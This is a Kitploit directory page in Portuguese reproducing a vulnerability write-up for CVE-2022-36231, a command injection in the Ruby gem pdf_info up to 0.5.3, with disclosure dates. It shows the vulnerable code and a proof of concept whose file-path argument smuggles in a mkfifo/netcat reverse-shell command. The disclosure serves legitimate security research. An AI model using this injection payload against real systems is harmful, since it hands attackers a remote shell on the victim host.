Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-36231 — pdf_info <= 0.5.3 Injeção de Comandos do SO | Kitploit
Ferramentas/GitHubGitHub/affix/cve-2022-36231
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleDesenvolvimento de Payloads
GitHubaffix/cve-2022-36231

CVE-2022-36231

pdf_info <= 0.5.3 Injeção de Comandos do SO

Ver Repositório
53há 3 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-36231

A gem ruby pdf_info <= 0.5.3 é vulnerável a Injeção de Comandos do SO ao executar um método em um objeto PDF::Info.

Um atacante que utilize uma payload especialmente elaborada pode executar comandos do SO usando encadeamento de comandos.

Análise de Vulnerabilidade

Quando um novo objeto PDF::Info é criado, o comando initialize é chamado:

root@kitploit:~
def initialize(pdf_path)
  @pdf_path = pdf_path
end

Durante a inicialização do objeto, nenhuma validação é realizada e o caminho fornecido pelo usuário é utilizado.

Podemos criar um objeto PDF::Info e retornar os metadados de um PDF com o seguinte:

root@kitploit:~
#!/usr/bin/env ruby

require 'pdf/info'

info = PDF::Info.new("./pdf/sample1.pdf")
pp info.metadata

Quando chamamos o método metadata no objeto PDF::Info, uma chamada é feita ao método process_output com o argumento passado sendo o método command.

O método command faz uso da variável de classe @pdf_info para executar o comando pdfinfo no sistema usando o seguinte trecho de código para retornar a saída do comando:

root@kitploit:~
output = `#{self.class.command_path} -enc UTF-8 -f 1 -l -1 "#{@pdf_path}" 2> /dev/null`

Assim como no método initialize, nenhuma validação é realizada na variável @pdf_path. Isso nos permite usar encadeamento de comandos com ; para executar um comando arbitrário.

root@kitploit:~
info = PDF::Info.new('pdf/sample1.pdf; $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444>/tmp/f)')

pp info.metadata

O trecho de código acima executará uma reverse shell para 127.0.0.1 na porta 4444.

Shell

Detalhes da Divulgação

  • 2022-07-20 :: Relato ao fornecedor
  • 2022-08-30 :: Acompanhamento com o fornecedor
  • 2022-09-30 :: Solicitação do CVE
  • 2022-10-26 :: Publicação da vulnerabilidade
Baixar ferramenta